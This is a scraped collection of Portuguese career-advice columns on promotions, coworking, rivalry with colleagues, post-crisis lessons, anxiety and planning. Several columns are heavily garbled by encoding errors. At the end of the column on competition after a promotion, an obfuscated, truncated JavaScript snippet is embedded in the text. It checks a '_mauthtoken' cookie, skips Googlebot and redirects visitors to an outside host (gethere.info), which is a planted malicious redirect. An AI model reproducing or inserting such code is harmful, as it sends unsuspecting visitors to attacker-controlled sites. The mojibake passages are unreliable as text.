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Apareceu uma oportunidade na empresa em que trabalho e o meu gestor entende que eu posso ser promovido e ocupar um lugar mais estratAi??gico. PorAi??m, estou inseguro pois a atividade exige um conhecimento tAi??cnico que eu nA?o possuo. O que fazer?
Ser cotado a assumir uma nova funAi??A?o, mais exigente que a anterior, Ai?? uma excelente forma de ser reconhecido pelo trabalho que estA? sendo desempenhado. PorAi??m, nem sempre a oportunidade surge exatamente na sua A?rea de atuaAi??A?o e Ai?? justamente a perspectiva de mudar para algo novo e desconhecido que pode gerar o medo e a inseguranAi??a.
Ai?? normal que num primeiro momento o profissional nA?o se sinta seguro, afinal, trata-se de uma atividade em que lhe falta, de partida, a experiA?ncia e o conhecimento tAi??cnico necessA?rios. Ao mesmo tempo, Ai?? importante considerar que nem sempre esses requisitos sA?o essenciais quando iniciamos um novo desafio e que outras competA?ncias que vocA? jA? possui devem ter sido determinantes para que fosse o escolhido. Por exemplo, a capacidade de lidar com pessoas ou de mediar situaAi??Ai??es de crise sA?o aspectos que ultrapassam o conhecimento tAi??cnico e que podem justificar a escolha de um profissional para assumir um novo cargo, mesmo sem experiA?ncia na A?rea. Portanto, antes de sucumbir ao medo do novo, tente pensar o que vocA? jA? tem que pode contar a seu favor e qual a melhor estratAi??gia para desenvolver o conhecimento que ainda falta.
No caminho do desenvolvimento, algumas atitudes, nA?o sA? do empregado, mas tambAi??m da empresa, podem ser essenciais. Por exemplo, Ai?? importante que o gestor esteja prA?ximo do profissional neste inAi??cio, como uma forma de suprir a ausA?ncia de conhecimento tAi??cnico. AlAi??m disso, que seja definido um tutor, alguAi??m mais experiente que possa repassar a sua experiA?ncia e conhecimentos. Apoiar a construAi??A?o de um plano de trabalho que contemple aAi??Ai??es, prazos e os resultados esperados tambAi??m ajudarA? a manter o direcionamento e a clareza do que precisa ser feito.
Por parte do profissional, tambAi??m Ai?? preciso que haja um investimento, nA?o deixando apenas a cargo da empresa ou do gestor a responsabilidade sobre o seu desenvolvimento. Ele deve encarar a mudanAi??a como um desafio para sair da zona de conforto e crescer na carreira, desenvolver uma atividade nova e adquirir diferentes experiA?ncias que podem ser A?teis atAi?? em outras oportunidades futuras.
Mas para ter sucesso, Ai?? preciso ter tranquilidade para passar por um inicio mais ai???conturbadoai???, em funAi??A?o do desconhecido, e determinaAi??A?o para superar as lacunas atuais. Neste sentido, pactuar com a gestA?o um tempo de preparaAi??A?o e apropriaAi??A?o do novo lugar Ai?? um passo fundamental, estabelecendo alguns prazos atAi?? que seja possAi??vel entregar um bom resultado. Estar aberto a aprender Ai?? tambAi??m uma atitude crucial nesta trajetA?ria, inclusive bancando total ou parcialmente uma capacitaAi??A?o caso esse tipo de investimento nA?o esteja no escopo do que Ai?? oferecido pela empresa.
Enfim, o importante mesmo Ai?? nA?o deixar uma boa oportunidade passar por medo de nA?o ai???dar conta do recadoai??? e tratar de buscar as condiAi??Ai??es necessA?rias para que o novo projeto possa dar certo.
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O conceito de coworking, espaço compartilhado em que pessoas e empresas dividem o mesmo lugar como escritório de trabalho, tem crescido nos últimos anos. Porém, este formato, apesar de trazer vários ganhos, também exige cuidados.
Mesmo tendo surgido há mais de dez anos nos Estados Unidos, o coworking só chegou ao Brasil com maior intensidade há pouco tempo, mas já tem se mostrado uma alternativa atrativa para os empreendedores e donos de pequenas empresas que desejam ter as facilidades de uma sala comercial, mas sem os altos custos operacionais gerados por um escritório próprio.
Entre os benefícios trazidos por um espaço de coworking estão, por exemplo, toda a estrutura que um escritório precisa já inclusos no “pacote”, como mobiliário, equipamentos eletrônicos, como impressora e scanner, serviços de internet, recepcionista e correspondência, entre outros. Esse formato também gera um ganho de tempo na medida em que tira das mãos dos profissionais a responsabilidade de gerenciar esses serviços, como, por exemplo, consertar um equipamento quebrado ou ligar para a empresa de telefonia quando surgir algum problema.
Além disso, trabalhar em um espaço compartilhado permite que o profissional tenha um contato maior com pessoas das mais diversas áreas, ampliando a sua rede de contatos. Esse relacionamento diário com outras pessoas de diferentes segmentos pode ser de grande serventia para adquirir conhecimentos, trocar ideias, criar parcerias ou até mesmo gerar negócios.
Mas e os cuidados na hora de optar por um coworking, quais são? Em primeiro lugar, é preciso escolher o espaço que mais se adeque ao seu perfil e que atenda às demandas do seu negócio. Busque um local que tenha regras de convivência para o uso do espaço coletivo, pois um ambiente desorganizado vai impactar negativamente na sua produtividade. E caso precise realizar reuniões ocasionalmente, opte por um coworking que disponibilize uma sala adequada para isso.
Outro cuidado que deve ser tomado é com a própria disciplina e foco. Telefonemas dos colegas, conversas cruzadas, brincadeiras, visitas recebidas e até mesmo a passagem constante de pessoas podem atrapalhar aqueles profissionais que precisam de silêncio e concentração. Por isso, é necessário ter capacidade de manter o foco e evitar dispersão, definindo uma programação de tarefas sistemáticas (com prioridades a serem cumpridas) para conseguir se manter sempre no rumo necessário.
Por último, mas não menos importante, é preciso, em espaços compartilhados, ter ainda mais cuidado com a circulação de informações, principalmente aquelas que dizem respeito a clientes e projetos. Atente para o material que deixa exposto, seja em papel ou na tela do computador, e ao teor das conversas que mantém em público, para não acabar expondo alguma informação ou cliente inadequadamente.
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Se diferenciar, ser destaque na sua A?rea ou receber uma promoAi??A?o sA?o ambiAi??Ai??es de boa parte dos profissionais. Mas quando esse reconhecimento chega, Ai?? preciso estar preparado para lidar com um eventual incA?modo: o possAi??vel aumento da competiAi??A?o na relaAi??A?o com os colegas.
A competiAi??A?o Ai?? um movimento natural e estA? presente na maior parte dos relacionamentos interpessoais – nos grupos de trabalho ou nas relaAi??Ai??es familiares entre irmA?os, pais e filhos, por exemplo. PorAi??m, mesmo sendo um sentimento tA?o comum, a competiAi??A?o nA?o costuma ser vista com bons olhos pelas pessoas, o que faz com que, normalmente, apenas o seu lado negativo apareAi??a.
Pode parecer estranho, mas existem sim duas faces da competiAi??A?o. Ela pode servir positivamente, quando o sentimento gerado Ai?? de admiraAi??A?o e inspiraAi??A?o ai??i?? o que chamamos popularmente de ai???inveja brancaai???. Mas tambAi??m pode ser negativa, sendo capaz de gerar comportamentos de ataque e desmerecimento do outro. E quando o assunto Ai?? ascensA?o na carreira, as duas formas de competiAi??A?o podem aparecer, mas como fazer para minimizar a concorrA?ncia negativa?
Lidar com essa situaAi??A?o Ai?? uma responsabilidade conjunta do gestor que efetuou a promoAi??A?o e do profissional que foi promovido. O gestor precisa deixar claro para a equipe a sua motivaAi??A?o ao promover o profissional e porque ele foi merecedor do novo status. Ai?? preciso, ainda, que ele seja claro ao explicitar e pactuar as novas atribuiAi??Ai??es e responsabilidades do promovido. TambAi??m Ai?? de grande ajuda quando o gestor tem uma atitude de integraAi??A?o da equipe, ressaltando a importA?ncia do grupo para que os resultados esperados sejam alcanAi??ados.
JA? o profissional que foi promovido precisa adotar um comportamento que favoreAi??a a sua aceitaAi??A?o. Ai?? importante nA?o mudar drasticamente de comportamento ou se afastar abruptamente dos antigos colegas de equipe, mesmo que o novo cargo exija certo distanciamento. Esse ai???afastamentoai??? deve ser feito de forma gradual, para nA?o causar estranhamento ou comentA?rios do tipo: ai???depois que fulano foi promovido, nA?o Ai?? mais o mesmoai???.
TambAi??m Ai?? essencial evitar uma exaltaAi??A?o da nova relaAi??A?o de proximidade com o chefe. Naturalmente, quando hA? uma promoAi??A?o, esse vAi??nculo Ai?? estreitado, mas Ai?? importante nA?o usar isso como determinante de poder ou privilAi??gios, e atAi?? mesmo forAi??ar uma intimidade que nA?o existe. Profissionais com esse comportamento acabam ganhando a alcunha de bajulador do chefe.
Em resumo, se hA? clareza no papel que foi cumprido e no caminho traAi??ado atAi?? chegar a esse ponto de reconhecimento, fica mais fA?cil envolver as outras pessoas no sucesso alcanAi??ado. PorAi??m, mesmo tendo todos esses cuidados, ainda podem aparecer aqueles que nA?o reconhecem os mAi??ritos da promoAi??A?o e adotam um comportamento negativo. Neste caso, chamar a pessoa em questA?o para uma conversa franca pode ajudar a resolver a situaAi??A?o. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Após um expressivo período de crise econômica severa, o cenário brasileiro está dando sinais de mudança. 2018 está sendo considerado o ano da retomada dos negócios para os empresários e alguns ensinamento dessa experiência continuarão valendo para o cenário de futuro promissor.
Para os empresários, há muitas lições a tirar desse período difícil. A primeira delas é que a gestão nos tempos de boa saúde financeira deve sempre levar em conta a possibilidade real de vir adiante um período de vacas magras. Neste sentido, ficou ainda mais claro que ter um gerenciamento orçamentário é fundamental. As empresas que investem na elaboração de um orçamento anual e o seguem corretamente, conseguem ter uma visão mais clara do futuro, têm um controle melhor dos gastos e evitam desperdícios.
Outra lição trazida pela crise foi a necessidade de aproveitar bem os recursos que já existem na empresa. E mesmo com a melhoria do cenário, não se deve perder a prática de avaliar com rigor a real necessidade de aumentar as despesas com novas contratações. Afinal, já se sabe que equipes enxutas, mas comprometidas e capacitadas podem ser tão ou mais produtivas do que aquelas com um grande número de integrantes. Mesmo com o reaquecimento do mercado, é preciso distribuir bem as responsabilidades e manter a otimização dos gastos.
Também na crise foi necessário ter ainda mais atenção à gestão de pessoas para manter as entregas em dia e conseguir estar preparado no momento da retomada econômica. Investir no desenvolvimento da equipe e na manutenção de um bom clima de trabalho exigiu que os gestores tivessem que estar mais próximos dos seus profissionais e isso deve ser preservado como mais uma boa lição.
Por fim, os empresários que conseguiram se manter competitivos na crise aprenderam que, mesmo em momentos de retenção financeira, é preciso ter tranquilidade para pensar no futuro e investir no que é importante.
A ansiedade tem encontrado lugar no cotidiano de um número cada vez maior de profissionais. Ceder a impulsos imediatos, não avaliar bem antes de tomar uma decisão e não conseguir ter foco nos objetivos que se quer alcançar são algumas das características das pessoas ansiosas. Desenvolver o autocontrole se tornou, portanto, uma importante arma para vencer as dificuldades e se tornar um profissional bem sucedido.
Algumas pessoas são ansiosas desde a infância. Os pais, já muito cedo, pressionam seus filhos para que tenham bons resultados e mesmo sem saber acabam contribuindo para o desenvolvimento de um comportamento ansioso nas crianças e, futuramente, nos adultos que eles se tornarão. Porém, isso não precisa ser uma sentença definitiva. A ansiedade pode sim ser melhor administrada, assim como a capacidade de ter autocontrole.
No âmbito profissional, ter controle sobre seus impulsos e equilíbrio na hora de tomar decisões são qualidades preponderantes de um profissional maduro. Essa capacidade permite às pessoas lidar com as situações difíceis e delicadas com mais frieza e tranquilidade. Porém, não é nada fácil, no mundo de hoje, conseguir manter o autocontrole. Não somente na atividade profissional, mas na vida, de um modo geral, somos desafiados pelas urgências, estimulados ao consumo imediato, seduzidos pela mídia e pressionados pelos padrões sociais. Responder a toda essa pressão acaba sugerindo um tipo de comportamento mais imediatista e, muitas vezes, inadequado.
Mas fique atento: ter objetivos claros pode ser uma saída para manter o controle e seguir na direção dos seus objetivos. Ou seja, conhecendo os resultados que se quer atingir é possível conseguir tomar decisões mais assertivas e cautelosas. Perceba, por exemplo, que aqueles que têm metas financeiras conseguem mais facilmente reduzir o consumo e controlar seus gastos; num processo de emagrecimento, quem sabe exatamente quanto quilos precisa perder, em geral, consegue manter mais facilmente sua dieta em dia.
Enfim, entender que o controle da ansiedade pode estar em nossas mãos ajuda e muito. Vamos dar o primeiro passo?
Muito tem se falando sobre a retomada da economia brasileira após o pior da crise. O mercado está reaquecendo e isso impacta diretamente na dinâmica das empresas e dos profissionais. Mas algumas atitudes e ensinamentos que foram essenciais para a sobrevivência durante este período devem continuar valendo.
A primeira delas é a importância de ter uma reserva financeira. Muitos profissionais se depararam com cortes na remuneração e até com o desemprego sem ter nenhum dinheiro guardado para enfrentar a nova realidade. Por este motivo, as pessoas que antes não davam a devida importância ao planejamento financeiro tiveram que aprender a viver com menos e se adaptar às restrições orçamentárias. Hoje, no entanto, já sabem por que guardar dinheiro pode ser uma questão de sobrevivência no futuro.
Outro ponto de atenção foi o controle de gastos. Durante a crise, se fez mais do que necessário atentar para os custos e passar a gastar com mais responsabilidade, sempre planejando e analisando se a reserva financeira suportaria gastos maiores ou se seria o caso de adiar a decisão sobre a compra de um carro ou fazer uma viagem, por exemplo.
Com relação ao trabalho, a crise deixou ainda mais clara a importância de se manter competitivo, ampliando os conhecimentos, estando sempre atento às áreas de aprendizado e sendo flexível para assumir novas responsabilidades, já que a instabilidade levou muitas empresas a enxugarem suas equipes. Muitos profissionais que conseguiram se manter empregados tiveram que desempenhar novas funções e, com isso, as empresas perceberam que é possível fazer mais com menos. Neste sentido, talvez alguns postos de trabalho não sejam mais repostos mesmo com o mercado reaquecido.
Por fim, a necessidade de ser resiliente foi outra lição importante. Profissionais mais resistentes e com uma postura mais queixosa diante da realidade de mudanças tiveram grandes perdas. Para estes fica, talvez, a maior lição: é essencial valorizar o trabalho que se tem e dar o melhor de si, principalmente num momento de adversidade.
Pessoas que passam mais tempo desempregadas correm mais risco de aceitar a primeira oportunidade que aparece pela frente. Quais os impactos dessa escolha para a sua carreira?
Passar um tempo longe do mercado de trabalho gera angustia e desanima qualquer profissional que dedicou tempo investindo na sua carreira. E o pior é que ninguém está livre disso, mesmo aqueles que possuem uma ótima capacidade de empregabilidade (ou seja, têm um bom currículo, qualificações e experiência comprovada). Mas atenção, se você ainda tem condições financeiras de segurar mais um tempo sem receita, procure manter o equilíbrio emocional e continuar na busca pelo emprego certo para você.
Isso porque é muito comum que nestas horas o profissional se desestabilize emocionalmente e passe a considerar oportunidades que se distanciam da sua rota profissional. Além disso, passam a aceitar oportunidades sem considerar condicionantes que podem pesar no futuro, como por exemplo, salário aquém da expectativa inicial ou o retorno a uma rotina de trabalho mais operacional quando na verdade sua experiência já estava mais voltada para funções de gestão.
O risco de se deixar levar pelo medo do futuro e pela angustia de ficar sem emprego é optar por um trabalho que, muito provavelmente, não durará por muito tempo. Seja porque outras oportunidades melhores irão acabar surgindo e o fará mudar de rumo em pouco tempo, podendo prejudicar sua imagem profissional ou “manchar” seu currículo; ou porque a atividade não se encaixa no seu perfil profissional e você não consegue apresentar o desempenho necessário. Por um motivo ou por outro, o impacto na sua trajetória é certo.
Ao mesmo tempo, deve-se ter cuidado para não idealizar demais uma oportunidade e colocar defeitos desnecessários em todas as que aparecem na sua frente. É importante considerar que quando traçamos um caminho profissional muitas vezes precisaremos fazer alguns ajustes e concessões.
Inclusive, pode fazer parte dessas concessões dar um passo para trás na remuneração ou no cargo que atuava. A questão é fazer esta análise com cautela e segurança da decisão que está sendo tomada, tentando diminuir os impactos da ansiedade por um novo emprego. Este último sim é que pode te colocar numa situação difícil no futuro.
É muito comum ouvirmos profissionais reclamarem que não têm tempo suficiente para dar conta de todas as demandas do trabalho, mas são poucos os que realmente fazem uma autocrítica e avaliam se o problema é realmente o excesso de tarefas ou se não estão fazendo um planejamento adequado para as horas de expediente.
Planejar ainda é uma ação pouco utilizada por grande parte dos profissionais, que no geral preferem partir para a execução, achando que assim estarão ganhando tempo. Porém, na maioria das vezes, o efeito é reverso e o retrabalho quase sempre acontece.
Por outro lado, também é comum encontrarmos aqueles que até dedicam tempo ao planejamento, porém têm pouca disciplina para seguir com o que foi estabelecido, o que coloca por “água abaixo” toda a programação inicialmente pensada e toda a economia de tempo e ganho de produtividade que se teria com o planejamento bem feito. Por isso, é importante perceber que, para aumentar seu nível de produtividade no trabalho sem ter que inventar um dia com mais horas, é essencial ter um plano de ação bem estruturado e, mais importante, colocá-lo em prática.
Neste caminho, separamos algumas dicas valiosas:
• Crie o hábito de, diariamente, estabelecer uma agenda ou cronograma com todos os seus afazeres e prazos a serem cumpridos. Saber identificar sua lista de prioridades é uma habilidade importante. Muitas vezes, é comum que o profissional se concentre em tarefas que não eram tão necessárias quanto outras para aquele dia;
• Depois de listar as tarefas por prioridade, risque-as da lista conforme forem sendo realizadas: isso te dará um senso de dever cumprido, e irá motivá-lo a continuar eliminando demandas;
• Evite abrir muitas frentes de trabalho. Quando você inicia outra tarefa sem dar o fechamento necessário para a anterior, pode acabar deixando pendências pelo caminho e isso poderá gerar uma sensação de que não está dando conta de tudo;
• Por fim, seja realista. Não inclua atividades que você sabe de antemão que não poderá cumprir dentro do prazo estabelecido. Aprenda a trabalhar dentro de seus limites.
Em resumo, investindo no planejamento, você verá que é possível concluir suas tarefas sem precisar de um dia com 36 horas.
A empresa em que trabalho está passando por um momento de crise. Qual é a melhor forma de lidar com essa situação?
Situações de tensão ou de crise fazem parte da realidade das empresas. Seja por um período pontual ou quando se prolongam por mais tempo, a questão é que todo mundo que faz parte da organização acaba sendo impactado de alguma forma. Portanto, quando o negócio pode estar ameaçado, a comunicação passa a ser uma das peças-chave para ajudar a administrar a situação da melhor maneira. A ausência de informação acaba dando espaço para boatos e tudo vira motivo de especulação, aumentando a sensação de insegurança das equipes.
Ao se deparar com uma situação como esta na empresa em que trabalha, o profissional deve, antes de tudo, buscar entender o que está acontecendo e evitar alimentar as fofocas. Caso tenha alguma dúvida, o melhor caminho é conversar com pessoas que possam repassar as informações oficiais, evitando se contaminar com as fofocas.
Outra dica importante é não se desesperar nem tomar decisões precipitadas. Espere a “poeira baixar” para se posicionar diante dos acontecimentos. É normal ficar inseguro e querer buscar novas oportunidades no mercado de trabalho, mas esperar o desenrolar dos fatos é fundamental. Saiba lidar com a própria ansiedade e tente não deixar a crise impactar no seu desempenho.
Já para os gestores que precisam lidar com equipes ansiosas por respostas, a dica da comunicação continua valendo. Portanto, repasse as informações que podem ser divulgadas com serenidade para evitar que a tensão se espalhe. O papel do gestor nestes casos é de mediar “o caos” e ser o ponto de segurança, por isso, coloque-se à disposição para esclarecer as dúvidas que possam surgir.
É essencial manter o bom clima organizacional em meio a momentos de crise, principalmente passando a segurança necessária para que a equipe não desanime tornando o cenário mais difícil.
Quando se pensa em sucesso profissional, muitos ainda acham que apenas ter um currículo diferenciado é o suficiente. Investem tempo e dinheiro na formação acadêmica, acumulam uma boa bagagem profissional e pronto: acreditam estar garantidos no mercado de trabalho. Claro que tudo isso é muito importante e valioso na hora de conquistar uma vaga de trabalho ou uma posição de destaque na própria empresa, mas existe outro aspecto que, cada vez mais, tem feito a diferença na avaliação das empresas: a postura profissional.
Sim, todos sabem que iniciativa, proatividade, postura crítica e capacidade de resolução de problemas, por exemplo, são características bastante valorizadas no mercado de hoje. Mas para além delas, estão se diferenciando os profissionais que demonstram capacidade de se adaptar ao novo, solidariedade com os colegas e também aqueles, acreditem, que possuem disposição e bom humor para enfrentar as dificuldades do dia a dia. Não é incomum encontramos gestores optando por este perfil de profissional mesmo quando estão diante de um currículo super especializado.
É importante compreender que não se trata de uma questão de atribuição de valor. O conhecimento técnico é fundamental e sem ele não se consegue desenvolver a atividade, ou no mínimo, o profissional terá bastante dificuldade. A questão é que pessoas com uma postura pouco empática com a empresa e colegas, excessivamente queixosa ou distantes, preocupadas apenas com o seu universo profissional, tem perdido espaço e, às vezes, nem mesmo os resultados positivos já conquistados têm sido motivo suficiente para mantê-los no quadro.
Portanto, se você se preocupa em mater-se competitivo no emprego ou pretende se diferenciar ao concorrer a uma vaga de trabalho, lembre-se de que postura profissional conta a seu favor.
